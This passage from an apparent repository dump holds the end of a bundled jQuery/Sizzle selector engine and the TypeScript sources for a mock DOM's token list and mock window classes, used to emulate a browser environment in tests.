handling\n\t\t\t\tj = ++i;\n\t\t\t\tfor ( ; j < len; j++ ) {\n\t\t\t\t\tif ( jQuery.expr.relative[ tokens[ j ].type ] ) {\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\treturn setMatcher(\n\t\t\t\t\ti > 1 && elementMatcher( matchers ),\n\t\t\t\t\ti > 1 && toSelector(\n\n\t\t\t\t\t\t// If the preceding token was a descendant combinator, insert an implicit any-element `*`\n\t\t\t\t\t\ttokens.slice( 0, i - 1 )\n\t\t\t\t\t\t\t.concat( { value: tokens[ i - 2 ].type === \" \" ? \"*\" : \"\" } )\n\t\t\t\t\t).replace( rtrimCSS, \"$1\" ),\n\t\t\t\t\tmatcher,\n\t\t\t\t\ti < j && matcherFromTokens( tokens.slice( i, j ) ),\n\t\t\t\t\tj < len && matcherFromTokens( ( tokens = tokens.slice( j ) ) ),\n\t\t\t\t\tj < len && toSelector( tokens )\n\t\t\t\t);\n\t\t\t}\n\t\t\tmatchers.push( matcher );\n\t\t}\n\t}\n\n\treturn elementMatcher( matchers );\n}\n\nfunction matcherFromGroupMatchers( elementMatchers, setMatchers ) {\n\tvar bySet = setMatchers.length > 0,\n\t\tbyElement = elementMatchers.length > 0,\n\t\tsuperMatcher = function( seed, context, xml, results, outermost ) {\n\t\t\tvar elem, j, matcher,\n\t\t\t\tmatchedCount = 0,\n\t\t\t\ti = \"0\",\n\t\t\t\tunmatched = seed && [],\n\t\t\t\tsetMatched = [],\n\t\t\t\tcontextBackup = outermostContext,\n\n\t\t\t\t// We must always have either seed elements or outermost context\n\t\t\t\telems = seed || byElement && jQuery.expr.find.TAG( \"*\", outermost ),\n\n\t\t\t\t// Use integer dirruns iff this is the outermost matcher\n\t\t\t\tdirrunsUnique = ( dirruns += contextBackup == null ? 1 : Math.random() || 0.1 );\n\n\t\t\tif ( outermost ) {\n\n\t\t\t\t// Support: IE 11+\n\t\t\t\t// IE sometimes throws a \"Permission denied\" error when strict-comparing\n\t\t\t\t// two documents; shallow comparisons work.\n\t\t\t\t// eslint-disable-next-line eqeqeq\n\t\t\t\toutermostContext = context == document$1 || context || outermost;\n\t\t\t}\n\n\t\t\t// Add elements passing elementMatchers directly to results\n\t\t\tfor ( ; ( elem = elems[ i ] ) != null; i++ ) {\n\t\t\t\tif ( byElement && elem ) {\n\t\t\t\t\tj = 0;\n\n\t\t\t\t\t// Support: IE 11+\n\t\t\t\t\t// IE sometimes throws a \"Permission denied\" error when strict-comparing\n\t\t\t\t\t// two documents; shallow comparisons work.\n\t\t\t\t\t// eslint-disable-next-line eqeqeq\n\t\t\t\t\tif ( !context && elem.ownerDocument != document$1 ) {\n\t\t\t\t\t\tsetDocument( elem );\n\t\t\t\t\t\txml = !documentIsHTML;\n\t\t\t\t\t}\n\t\t\t\t\twhile ( ( matcher = elementMatchers[ j++ ] ) ) {\n\t\t\t\t\t\tif ( matcher( elem, context || document$1, xml ) ) {\n\t\t\t\t\t\t\tpush.call( results, elem );\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\tif ( outermost ) {\n\t\t\t\t\t\tdirruns = dirrunsUnique;\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\t// Track unmatched elements for set filters\n\t\t\t\tif ( bySet ) {\n\n\t\t\t\t\t// They will have gone through all possible matchers\n\t\t\t\t\tif ( ( elem = !matcher && elem ) ) {\n\t\t\t\t\t\tmatchedCount--;\n\t\t\t\t\t}\n\n\t\t\t\t\t// Lengthen the array for every element, matched or not\n\t\t\t\t\tif ( seed ) {\n\t\t\t\t\t\tunmatched.push( elem );\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// `i` is now the count of elements visited above, and adding it to `matchedCount`\n\t\t\t// makes the latter nonnegative.\n\t\t\tmatchedCount += i;\n\n\t\t\t// Apply set filters to unmatched elements\n\t\t\t// NOTE: This can be skipped if there are no unmatched elements (i.e., `matchedCount`\n\t\t\t// equals `i`), unless we didn't visit _any_ elements in the above loop because we have\n\t\t\t// no element matchers and no seed.\n\t\t\t// Incrementing an initially-string \"0\" `i` allows `i` to remain a string only in that\n\t\t\t// case, which will result in a \"00\" `matchedCount` that differs from `i` but is also\n\t\t\t// numerically zero.\n\t\t\tif ( bySet && i !== matchedCount ) {\n\t\t\t\tj = 0;\n\t\t\t\twhile ( ( matcher = setMatchers[ j++ ] ) ) {\n\t\t\t\t\tmatcher( unmatched, setMatched, context, xml );\n\t\t\t\t}\n\n\t\t\t\tif ( seed ) {\n\n\t\t\t\t\t// Reintegrate element matches to eliminate the need for sorting\n\t\t\t\t\tif ( matchedCount > 0 ) {\n\t\t\t\t\t\twhile ( i-- ) {\n\t\t\t\t\t\t\tif ( !( unmatched[ i ] || setMatched[ i ] ) ) {\n\t\t\t\t\t\t\t\tsetMatched[ i ] = pop.call( results );\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t\t// Discard index placeholder values to get only actual matches\n\t\t\t\t\tsetMatched = condense( setMatched );\n\t\t\t\t}\n\n\t\t\t\t// Add matches to results\n\t\t\t\tpush.apply( results, setMatched );\n\n\t\t\t\t// Seedless set matches succeeding multiple successful matchers stipulate sorting\n\t\t\t\tif ( outermost && !seed && setMatched.length > 0 &&\n\t\t\t\t\t( matchedCount + setMatchers.length ) > 1 ) {\n\n\t\t\t\t\tjQuery.uniqueSort( results );\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// Override manipulation of globals by nested matchers\n\t\t\tif ( outermost ) {\n\t\t\t\tdirruns = dirrunsUnique;\n\t\t\t\toutermostContext = contextBackup;\n\t\t\t}\n\n\t\t\treturn unmatched;\n\t\t};\n\n\treturn bySet ?\n\t\tmarkFunction( superMatcher ) :\n\t\tsuperMatcher;\n}\n\nfunction compile( selector, match /* Internal Use Only */ ) {\n\tvar i,\n\t\tsetMatchers = [],\n\t\telementMatchers = [],\n\t\tcached = compilerCache[ selector + \" \" ];\n\n\tif ( !cached ) {\n\n\t\t// Generate a function of recursive functions that can be used to check each element\n\t\tif ( !match ) {\n\t\t\tmatch = tokenize( selector );\n\t\t}\n\t\ti = match.length;\n\t\twhile ( i-- ) {\n\t\t\tcached = matcherFromTokens( match[ i ] );\n\t\t\tif ( cached[ jQuery.expando ] ) {\n\t\t\t\tsetMatchers.push( cached );\n\t\t\t} else {\n\t\t\t\telementMatchers.push( cached );\n\t\t\t}\n\t\t}\n\n\t\t// Cache the compiled function\n\t\tcached = compilerCache( selector,\n\t\t\tmatcherFromGroupMatchers( elementMatchers, setMatchers ) );\n\n\t\t// Save selector and tokenization\n\t\tcached.selector = selector;\n\t}\n\treturn cached;\n}\n\n/**\n * A low-level selection function that works with jQuery's compiled\n *  selector functions\n * @param {String|Function} selector A selector or a pre-compiled\n *  selector function built with jQuery selector compile\n * @param {Element} context\n * @param {Array} [results]\n * @param {Array} [seed] A set of elements to match against\n */\nfunction select( selector, context, results, seed ) {\n\tvar i, tokens, token, type, find,\n\t\tcompiled = typeof selector === \"function\" && selector,\n\t\tmatch = !seed && tokenize( ( selector = compiled.selector || selector ) );\n\n\tresults = results || [];\n\n\t// Try to minimize operations if there is only one selector in the list and no seed\n\t// (the latter of which guarantees us context)\n\tif ( match.length === 1 ) {\n\n\t\t// Reduce context if the leading compound selector is an ID\n\t\ttokens = match[ 0 ] = match[ 0 ].slice( 0 );\n\t\tif ( tokens.length > 2 && ( token = tokens[ 0 ] ).type === \"ID\" &&\n\t\t\t\tcontext.nodeType === 9 && documentIsHTML &&\n\t\t\t\tjQuery.expr.relative[ tokens[ 1 ].type ] ) {\n\n\t\t\tcontext = ( jQuery.expr.find.ID(\n\t\t\t\tunescapeSelector( token.matches[ 0 ] ),\n\t\t\t\tcontext\n\t\t\t) || [] )[ 0 ];\n\t\t\tif ( !context ) {\n\t\t\t\treturn results;\n\n\t\t\t// Precompiled matchers will still verify ancestry, so step up a level\n\t\t\t} else if ( compiled ) {\n\t\t\t\tcontext = context.parentNode;\n\t\t\t}\n\n\t\t\tselector = selector.slice( tokens.shift().value.length );\n\t\t}\n\n\t\t// Fetch a seed set for right-to-left matching\n\t\ti = matchExpr.needsContext.test( selector ) ? 0 : tokens.length;\n\t\twhile ( i-- ) {\n\t\t\ttoken = tokens[ i ];\n\n\t\t\t// Abort if we hit a combinator\n\t\t\tif ( jQuery.expr.relative[ ( type = token.type ) ] ) {\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\tif ( ( find = jQuery.expr.find[ type ] ) ) {\n\n\t\t\t\t// Search, expanding context for leading sibling combinators\n\t\t\t\tif ( ( seed = find(\n\t\t\t\t\tunescapeSelector( token.matches[ 0 ] ),\n\t\t\t\t\trsibling.test( tokens[ 0 ].type ) &&\n\t\t\t\t\t\ttestContext( context.parentNode ) || context\n\t\t\t\t) ) ) {\n\n\t\t\t\t\t// If seed is empty or no tokens remain, we can return early\n\t\t\t\t\ttokens.splice( i, 1 );\n\t\t\t\t\tselector = seed.length && toSelector( tokens );\n\t\t\t\t\tif ( !selector ) {\n\t\t\t\t\t\tpush.apply( results, seed );\n\t\t\t\t\t\treturn results;\n\t\t\t\t\t}\n\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\t// Compile and execute a filtering function if one is not provided\n\t// Provide `match` to avoid retokenization if we modified the selector above\n\t( compiled || compile( selector, match ) )(\n\t\tseed,\n\t\tcontext,\n\t\t!documentIsHTML,\n\t\tresults,\n\t\t!context || rsibling.test( selector ) && testContext( context.parentNode ) || context\n\t);\n\treturn results;\n}\n\n// Initialize against the default document\nsetDocument();\n\njQuery.find = find;\n\n// These have always been private, but they used to be documented as part of\n// Sizzle so let's maintain them for now for backwards compatibility purposes.\nfind.compile = compile;\nfind.select = select;\nfind.setDocument = setDocument;\nfind.tokenize = tokenize;\n\nreturn jQuery;\n\n} );\n;\n"
  },
  {
    "path": "src/mock-doc/token-list.ts",
    "content": "export class MockTokenList {\n  constructor(\n    private elm: HTMLElement,\n    private attr: string,\n  ) {}\n\n  add(...tokens: string[]) {\n    const items = getItems(this.elm, this.attr);\n    let updated = false;\n    tokens.forEach((token) => {\n      token = String(token);\n      validateToken(token);\n      if (items.includes(token) === false) {\n        items.push(token);\n        updated = true;\n      }\n    });\n    if (updated) {\n      this.elm.setAttributeNS(null, this.attr, items.join(' '));\n    }\n  }\n\n  remove(...tokens: string[]) {\n    const items = getItems(this.elm, this.attr);\n    let updated = false;\n    tokens.forEach((token) => {\n      token = String(token);\n      validateToken(token);\n      const index = items.indexOf(token);\n      if (index > -1) {\n        items.splice(index, 1);\n        updated = true;\n      }\n    });\n    if (updated) {\n      this.elm.setAttributeNS(null, this.attr, items.filter((c) => c.length > 0).join(' '));\n    }\n  }\n\n  contains(token: string) {\n    token = String(token);\n    return getItems(this.elm, this.attr).includes(token);\n  }\n\n  toggle(token: string) {\n    token = String(token);\n    if (this.contains(token) === true) {\n      this.remove(token);\n    } else {\n      this.add(token);\n    }\n  }\n\n  get length() {\n    return getItems(this.elm, this.attr).length;\n  }\n\n  item(index: number) {\n    return getItems(this.elm, this.attr)[index];\n  }\n\n  toString() {\n    return getItems(this.elm, this.attr).join(' ');\n  }\n}\n\nfunction validateToken(token: string) {\n  if (token === '') {\n    throw new Error('The token provided must not be empty.');\n  }\n  if (/\\s/.test(token)) {\n    throw new Error(`The token provided ('${token}') contains HTML space characters, which are not valid in tokens.`);\n  }\n}\n\nfunction getItems(elm: HTMLElement, attr: string) {\n  const value = elm.getAttribute(attr);\n  if (typeof value === 'string' && value.length > 0) {\n    return value\n      .trim()\n      .split(' ')\n      .filter((c) => c.length > 0);\n  }\n  return [];\n}\n"
  },
  {
    "path": "src/mock-doc/window.ts",
    "content": "import { MockHeaders } from '.';\nimport { createConsole } from './console';\nimport { MockCustomElementRegistry } from './custom-element-registry';\nimport { MockDocument, resetDocument } from './document';\nimport { MockDocumentFragment } from './document-fragment';\nimport { MockSVGElement } from './element';\nimport {\n  addEventListener,\n  dispatchEvent,\n  MockCustomEvent,\n  MockEvent,\n  MockFocusEvent,\n  MockKeyboardEvent,\n  MockMouseEvent,\n  removeEventListener,\n  resetEventListeners,\n} from './event';\nimport { addGlobalsToWindowPrototype } from './global';\nimport { MockHistory } from './history';\nimport { MockIntersectionObserver } from './intersection-observer';\nimport { MockLocation } from './location';\nimport { MockNavigator } from './navigator';\nimport { MockElement, MockHTMLElement, MockNode, MockNodeList } from './node';\nimport { MockPerformance, resetPerformance } from './performance';\nimport { MockResizeObserver } from './resize-observer';\nimport { MockShadowRoot } from './shadow-root';\nimport { MockStorage } from './storage';\n\nconst nativeClearInterval = globalThis.clearInterval;\nconst nativeClearTimeout = globalThis.clearTimeout;\nconst nativeSetInterval = globalThis.setInterval;\nconst nativeSetTimeout = globalThis.setTimeout;\nconst nativeURL = globalThis.URL;\nconst nativeWindow = globalThis.window;\n\nexport class MockWindow {\n  __timeouts: Set<any>;\n  __history: MockHistory;\n  __elementCstr: any;\n  __charDataCstr: any;\n  __docTypeCstr: any;\n  __docCstr: any;\n  __docFragCstr: any;\n  __domTokenListCstr: any;\n  __nodeCstr: any;\n  __nodeListCstr: any;\n  __localStorage: MockStorage;\n  __sessionStorage: MockStorage;\n  __location: MockLocation;\n  __navigator: MockNavigator;\n  __clearInterval: typeof nativeClearInterval;\n  __clearTimeout: typeof nativeClearTimeout;\n  __setInterval: typeof nativeSetInterval;\n  __setTimeout: typeof nativeSetTimeout;\n  __maxTimeout: number;\n  __allowInterval: boolean;\n  URL: typeof URL;\n\n  console: Console;\n  customElements: CustomElementRegistry;\n  document: Document;\n  performance: Performance;\n\n  devicePixelRatio: number;\n  innerHeight: number;\n  innerWidth: number;\n  pageXOffset: number;\n  pageYOffset: number;\n  screen: Screen;\n  screenLeft: number;\n  screenTop: number;\n  screenX: number;\n  screenY: number;\n  scrollX: number;\n  scrollY: number;\n\n  // event handlers\n  declare CustomEvent: typeof MockCustomEvent;\n  declare Event: typeof MockEvent;\n  declare Headers: typeof MockHeaders;\n  declare FocusEvent: typeof MockFocusEvent;\n  declare KeyboardEvent: typeof MockKeyboardEvent;\n  declare MouseEvent: typeof MockMouseEvent;\n\n  constructor(html: string | boolean = null) {\n    if (html !== false) {\n      this.document = new MockDocument(html, this) as any;\n    } else {\n      this.document = null;\n    }\n    this.performance = new MockPerformance();\n    this.customElements = new MockCustomElementRegistry(this as any);\n    this.console = createConsole();\n    resetWindowDefaults(this);\n    resetWindowDimensions(this);\n  }\n\n  addEventListener(type: string, handler: (ev?: any) => void) {\n    addEventListener(this, type, handler);\n  }\n\n  alert(msg: string) {\n    if (this.console) {\n      this.console.debug(msg);\n    } else {\n      console.debug(msg);\n    }\n  }\n\n  blur(): any {\n    /**/\n  }\n\n  cancelAnimationFrame(id: any) {\n    this.__clearTimeout.call(nativeWindow || this, id);\n  }\n\n  cancelIdleCallback(id: any) {\n    this.__clearTimeout.call(nativeWindow || this, id);\n  }\n\n  get CharacterData() {\n    if (this.__charDataCstr == null) {\n      const ownerDocument = this.document;\n      this.__charDataCstr = class extends MockNode {\n        constructor() {\n          super(ownerDocument, 0, 'test', '');\n          throw new Error('Illegal constructor: cannot construct CharacterData');\n        }\n      };\n    }\n    return this.__charDataCstr;\n  }\n  set CharacterData(charDataCstr: any) {\n    this.__charDataCstr = charDataCstr;\n  }\n\n  clearInterval(id: any) {\n    this.__clearInterval.call(nativeWindow || this, id);\n  }\n\n  clearTimeout(id: any) {\n    this.__clearTimeout.call(nativeWindow || this, id);\n  }\n\n  close() {\n    resetWindow(this as any);\n  }\n\n  confirm() {\n    return false;\n  }\n\n  get CSS() {\n    return {\n      supports: () => true,\n    };\n  }\n\n  get Document() {\n    if (this.__docCstr == null) {\n      const win = this;\n      this.__docCstr = class extends MockDocument {\n        constructor() {\n          super(false, win);\n          throw new Error('Illegal constructor: cannot construct Document');\n        }\n      };\n    }\n    return this.__docCstr;\n  }\n  set Document(docCstr: any) {\n    this.__docCstr = docCstr;\n  }\n\n  get DocumentFragment() {\n    if (this.__docFragCstr == null) {\n      const ownerDocument = this.document;\n      this.__docFragCstr = class extends MockDocumentFragment {\n        constructor() {\n          super(ownerDocument);\n          throw new Error('Illegal constructor: cannot construct DocumentFragment');\n        }\n      };\n    }\n    return this.__docFragCstr;\n  }\n  set DocumentFragment(docFragCstr: any) {\n    this.__docFragCstr = docFragCstr;\n  }\n\n  get ShadowRoot() {\n    return MockShadowRoot;\n  }\n\n  get DocumentType() {\n    if (this.__docTypeCstr == null) {\n      const ownerDocument = this.document;\n      this.__docTypeCstr = class extends MockNode {\n        constructor() {\n          super(ownerDocument, 0, 'test', '');\n          throw new Error('Illegal constructor: cannot construct DocumentType');\n        }\n      };\n    }\n    return this.__docTypeCstr;\n  }\n  set DocumentType(docTypeCstr: any) {\n    this.__docTypeCstr = docTypeCstr;\n  }\n\n  get DOMTokenList() {\n    if (this.__domTokenListCstr == null) {\n      this.__domTokenListCstr = class MockDOMTokenList {};\n    }\n    return this.__domTokenListCstr;\n  }\n  set DOMTokenList(domTokenListCstr: any) {\n    this.__domTokenListCstr = domTokenListCstr;\n  }\n\n  dispatchEvent(ev: MockEvent) {\n    return dispatchEvent(this, ev);\n  }\n\n  get Element() {\n    return MockElement;\n  }\n\n  fetch(input: any, init?: any): any {\n    if (typeof fetch === 'function') {\n      return fetch(input, init);\n    }\n    throw new Error(`fetch() not implemented`);\n  }\n\n  focus(): any {\n    /**/\n  }\n\n  getComputedStyle(_: any) {\n    return {\n      cssText: '',\n      length: 0,\n      parentRule: null,\n      getPropertyPriority(): any {\n        return null;\n      },\n      getPropertyValue(): any {\n        return '';\n      },\n      item(): any {\n        return null;\n      },\n      removeProperty(): any {\n        return null;\n      },\n      setProperty(): any {\n        return null;\n      },\n    } as any;\n  }\n\n  get globalThis() {\n    return this;\n  }\n\n  get history() {\n    if (this.__history == null) {\n      this.__history = new MockHistory();\n    }\n    return this.__history;\n  }\n  set history(hsty: any) {\n    this.__history = hsty;\n  }\n\n  get JSON() {\n    return JSON;\n  }\n\n  get HTMLElement() {\n    return MockHTMLElement;\n  }\n\n  get SVGElement() {\n    return MockSVGElement;\n  }\n\n  get IntersectionObserver() {\n    return MockIntersectionObserver;\n  }\n\n  get ResizeObserver() {\n    return MockResizeObserver;\n  }\n\n  get localStorage() {\n    if (this.__localStorage == null) {\n      this.__localStorage = new MockStorage();\n    }\n    return this.__localStorage;\n  }\n  set localStorage(locStorage: MockStorage) {\n    this.__localStorage = locStorage;\n  }\n\n  get location(): MockLocation {\n    if (this.__location == null) {\n      this.__location = new MockLocation();\n    }\n    return this.__location;\n  }\n  set location(val: Location | string) {\n    if (typeof val === 'string') {\n      if (this.__location == null) {\n        this.__location = new MockLocation();\n      }\n      this.__location.href = val;\n    } else {\n      this.__location = val as any;\n    }\n  }\n\n  matchMedia(media: string) {\n    return {\n      media,\n      matches: false,\n      addListener: (_handler: (ev?: any) => void) => {},\n      removeListener: (_handler: (ev?: any) => void) => {},\n      addEventListener: (_type: string, _handler: (ev?: any) => void) => {},\n      removeEventListener: (_type: string, _handler: (ev?: any) => void) => {},\n      dispatchEvent: (_ev: any) => {},\n      onchange: null as ((this: MediaQueryList, ev: MediaQueryListEvent) => any) | null,\n    };\n  }\n\n  get Node() {\n    return MockNode;\n  }\n\n  get NodeList() {\n    if (this.__nodeListCstr == null) {\n      const ownerDocument = this.document;\n      this.__nodeListCstr = class extends MockNodeList {\n        constructor() {\n          super(ownerDocument, [], 0);\n          throw new Error('Illegal constructor: cannot construct NodeList');\n        }\n      };\n    }\n    return this.__nodeListCstr;\n  }\n\n  get navigator() {\n    if (this.__navigator == null) {\n      this.__navigator = new MockNavigator();\n    }\n    return this.__navigator;\n  }\n  set navigator(nav: any) {\n    this.__navigator = nav;\n  }\n\n  get parent(): any {\n    return null;\n  }\n\n  prompt() {\n    return '';\n  }\n\n  open(): any {\n    return null;\n  }\n\n  get origin() {\n    return this.location.origin;\n  }\n\n  removeEventListener(type: string, handler: any) {\n    removeEventListener(this, type, handler);\n  }\n\n  requestAnimationFrame(callback: (timestamp: number) => void) {\n    return this.setTimeout(() => {\n      callback(Date.now());\n    }, 0) as number;\n  }\n\n  requestIdleCallback(callback: (deadline: { didTimeout: boolean; timeRemaining: () => number }) => void) {\n    return this.setTimeout(() => {\n      callback({\n        didTimeout: false,\n        timeRemaining: () => 0,\n      });\n    }, 0);\n  }\n\n  scroll(_x?: number, _y?: number) {\n    /**/\n  }\n\n  scrollBy(_x?: number, _y?: number) {\n    /**/\n  }\n\n  scrollTo(_x?: number, _y?: number) {\n    /**/\n  }\n\n  get self() {\n    return this;\n  }\n\n  get sessionStorage() {\n    if (this.__sessionStorage == null) {\n      this.__sessionStorage = new MockStorage();\n    }\n    return this.__sessionStorage;\n  }\n  set sessionStorage(locStorage: any) {\n    this.__sessionStorage = locStorage;\n  }\n\n  setInterval(callback: (...args: any[]) => void, ms: number, ...args: any[]): number {\n    if (this.__timeouts == null) {\n      this.__timeouts = new Set();\n    }\n\n    ms = Math.min(ms ?? 0, this.__maxTimeout);\n\n    if (this.__allowInterval) {\n      const intervalId = this.__setInterval(() => {\n        if (this.__timeouts) {\n          this.__timeouts.delete(intervalId);\n\n          try {\n            callback(...args);\n          } catch (e) {\n            if (this.console) {\n              this.console.error(e);\n            } else {\n              console.error(e);\n            }\n          }\n        }\n      }, ms) as any;\n\n      if (this.__timeouts) {\n        this.__timeouts.add(intervalId);\n      }\n\n      return intervalId;\n    }\n\n    const timeoutId = this.__setTimeout.call(\n      nativeWindow || this,\n      () => {\n        if (this.__timeouts) {\n          this.__timeouts.delete(timeoutId);\n\n          try {\n            callback(...args);\n          } catch (e) {\n            if (this.console) {\n              this.console.error(e);\n            } else {\n              console.error(e);\n            }\n          }\n        }\n      },\n      ms,\n    ) as any;\n\n    if (this.__timeouts) {\n      this.__timeouts.add(timeoutId);\n    }\n\n    return timeoutId;\n  }\n\n  setTimeout(callback: (...args: any[]) => void, ms: number, ...args: any[]): number {\n    if (this.__timeouts == null) {\n      this.__timeouts = new Set();\n    }\n\n    ms = Math.min(ms ?? 0, this.__maxTimeout);\n\n    const timeoutId = this.__setTimeout.call(\n      nativeWindow || this,\n      () => {\n        if (this.__timeouts) {\n          this.__timeouts.delete(timeoutId);\n\n          try {\n            callback(...args);\n          } catch (e) {\n            if (this.console) {\n              this.console.error(e);\n            } else {\n              console.error(e);\n            }\n          }\n        }\n      },\n      ms,\n    ) as any as number;\n\n    if (this.__timeouts) {\n      this.__timeouts.add(timeoutId);\n    }\n\n    return timeoutId;\n  }\n\n  get top() {\n    return this;\n  }\n\n  get window() {\n    return this;\n  }\n\n  onanimationstart() {\n    /**/\n  }\n  onanimationend() {\n    /**/\n  }\n  onanimationiteration() {\n    /**/\n  }\n  onabort() {\n    /**/\n  }\n  onauxclick() {\n    /**/\n  }\n  onbeforecopy() {\n    /**/\n  }\n  onbeforecut() {\n    /**/\n  }\n  onbeforepaste() {\n    /**/\n  }\n  onblur() {\n    /**/\n  }\n  oncancel() {\n    /**/\n  }\n  oncanplay() {\n    /**/\n  }\n  oncanplaythrough() {\n    /**/\n  }\n  onchange() {\n    /**/\n  }\n  onclick() {\n    /**/\n  }\n  onclose() {\n    /**/\n  }\n  oncontextmenu() {\n    /**/\n  }\n  oncopy() {\n    /**/\n  }\n  oncuechange() {\n    /**/\n  }\n  oncut() {\n    /**/\n  }\n  ondblclick() {\n    /**/\n  }\n  ondrag() {\n    /**/\n  }\n  ondragend() {\n    /**/\n  }\n  ondragenter() {\n    /**/\n  }\n  ondragleave() {\n    /**/\n  }\n  ondragover() {\n    /**/\n  }\n  ondragstart() {\n    /**/\n  }\n  ondrop() {\n    /**/\n  }\n  ondurationchange() {\n    /**/\n  }\n  onemptied() {\n    /**/\n  }\n  onended() {\n    /**/\n  }\n  onerror() {\n    /**/\n  }\n  onfocus() {\n    /**/\n  }\n  onfocusin() {\n    /**/\n  }\n  onfocusout() {\n    /**/\n  }\n  onformdata() {\n    /**/\n  }\n  onfullscreenchange() {\n    /**/\n  }\n  onfullscreenerror() {\n    /**/\n  }\n  ongotpointercapture() {\n    /**/\n  }\n  oninput() {\n    /**/\n  }\n  oninvalid() {\n    /**/\n  }\n  onkeydown() {\n    /**/\n  }\n  onkeypress() {\n    /**/\n  }\n  onkeyup() {\n    /**/\n  }\n  onload() {\n    /**/\n  }\n  onloadeddata() {\n    /**/\n  }\n  onloadedmetadata() {\n    /**/\n  }\n  onloadstart() {\n    /**/\n  }\n  onlostpointercapture() {\n    /**/\n  }\n  onmousedown() {\n    /**/\n  }\n  onmouseenter() {\n    /**/\n  }\n  onmouseleave() {\n    /**/\n  }\n  onmousemove() {\n    /**/\n  }\n  onmouseout() {\n    /**/\n  }\n  onmouseover() {\n    /**/\n  }\n  onmouseup() {\n    /**/\n  }\n  onmousewheel() {\n    /**/\n  }\n  onpaste() {\n    /**/\n  }\n  onpause() {\n    /**/\n  }\n  onplay() {\n    /**/\n  }\n  onplaying() {\n    /**/\n  }\n  onpointercancel() {\n    /**/\n  }\n  onpointerdown() {\n    /**/\n  }\n  onpointerenter() {\n    /**/\n  }\n  onpointerleave() {\n    /**/\n  }\n  onpointermove() {\n    /**/\n  }\n  onpointerout() {\n    /**/\n  }\n  onpointerover() {\n    /**/\n  }\n  onpointerup() {\n    /**/\n  }\n  onprogress() {\n    /**/\n  }\n  onratechange() {\n    /**/\n  }\n  onreset() {\n    /**/\n  }\n  onresize() {\n    /**/\n  }\n  onscroll() {\n    /**/\n  }\n  onsearch() {\n    /**/\n  }\n  onseeked() {\n    /**/\n  }\n  onseeking() {\n    /**/\n  }\n  onselect() {\n    /**/\n  }\n  onselectstart() {\n    /**/\n  }\n  onstalled() {\n    /**/\n  }\n  onsubmit() {\n    /**/\n  }\n  onsuspend() {\n    /**/\n  }\n  ontimeupdate() {\n    /**/\n  }\n  ontoggle() {\n    /**/\n  }\n  onvolumechange() {\n    /**/\n  }\n  onwaiting() {\n    /**/\n  }\n  onwebkitfullscreenchange() {\n    /**/\n  }\n  onwebkitfullscreenerror() {\n    /**/\n  }\n  onwheel() {\n    /**/\n  }\n}\n\naddGlobalsToWindowPrototype(MockWindow.prototype);\n\nfunction resetWindowDefaults(win: MockWindow) {\n  win.__clearInterval = nativeClearInterval;\n  win.__clearTimeout = nativeClearTimeout;\n  win.__setInterval = nativeSetInterval;\n  win.__setTimeout = nativeSetTimeout;\n  win.__maxTimeout = 60000;\n  win.__allowInterval = true;\n  win.URL = nativeURL;\n}\n\nexport function createWindow(html: string | boolean = null): Window {\n  return new MockWindow(html) as any;\n}\n\nexport function cloneWindow(srcWin: Window, opts: { customElementProxy?: boolean } = {}): MockWindow | null {\n  if (srcWin == null) {\n    return null;\n  }\n\n  const clonedWin = new MockWindow(false);\n  if (!opts.customElementProxy) {\n    // TODO(STENCIL-345) - Evaluate reconciling MockWindow, Window differences\n    // @ts-ignore\n    srcWin.customElements = null;\n  }\n\n  if (srcWin.document != null) {\n    const clonedDoc = new MockDocument(false, clonedWin);\n    clonedWin.document = clonedDoc as any;\n    clonedDoc.documentElement = srcWin.document.documentElement.cloneNode(true) as any;\n  } else {\n    clonedWin.document = new MockDocument(null, clonedWin) as any;\n  }\n  return clonedWin;\n}\n\nexport function cloneDocument(srcDoc: Document) {\n  if (srcDoc == null || !srcDoc.defaultView) {\n    return null;\n  }\n\n  const dstWin = cloneWindow(srcDoc.defaultView);\n  return dstWin?.document || null;\n}\n\n// TODO(STENCIL-345) - Evaluate reconciling MockWindow, Window differences\n/**\n * Constrain setTimeout() to 1ms, but still async. Also\n * only allow setInterval() to fire once, also constrained to 1ms.\n * @param win the mock window instance to update\n */\nexport function constrainTimeouts(win: any) {\n  (win as MockWindow).__allowInterval = false;\n  (win as MockWindow).__maxTimeout = 0;\n}\n\nfunction resetWindow(win: MockWindow) {\n  if (win != null) {\n    if (win.__timeouts) {\n      win.__timeouts.forEach((timeoutId) => {\n        nativeClearInterval(timeoutId);\n        nativeClearTimeout(timeoutId);\n      });\n      win.__timeouts.clear();\n    }\n    if (win.customElements && (win.customElements as MockCustomElementRegistry).clear) {\n      (win.customElements as MockCustomElementRegistry).clear();\n    }\n\n    resetDocument(win.document);\n    resetPerformance(win.performance);\n\n    for (const key in win) {\n      if (win.hasOwnProperty(key) && key !== 'document' && key !== 'performance' && key !== 'customElements') {\n        delete (win as any)[key];\n      }\n    }\n    resetWindowDefaults(win);\n    resetWindowDimensions(win);\n    resetEventListeners(win);\n\n    if (win.document != null) {\n      try {\n        (win.document as any).defaultView = win;\n      } catch (e) {}\n    }\n\n    // ensure we don't hold onto nodeFetch values\n    (win as any).fetch = null;\n    (win as any).Headers = null;\n    (win as any).Request = null;\n    (win as any).Response = null;\n    (win as any).FetchError = null;\n  }\n}\n\nfunction resetWindowDimensions(win: MockWindow) {\n  try {\n    win.devicePixelRatio = 1;\n\n    win.innerHeight = 768;\n    win.innerWidth = 1366;\n\n    win.pageXOffset = 0;\n    win.pageYOffset = 0;\n\n    win.screenLeft = 0;\n    win.screenTop = 0;\n    win.screenX = 0;\n    win.screenY = 0;\n    win.scrollX = 0;\n    win.scrollY = 0;\n\n    win.screen = {\n      availHeight: win.innerHeight,\n      availLeft: 0,\n      availTop: 0,\n      availWidth: win.innerWidth,\n      colorDepth: 24,\n      height: win.innerHeight,\n      keepAwake: false,\n      orientation: {\n        angle: 0,\n        type: 'portrait-primary',\n      } as any,\n      pixelDepth: 24,\n      width: win.innerWidth,\n    } as any;\n  } catch (e) {}\n}\n"
  },
  {
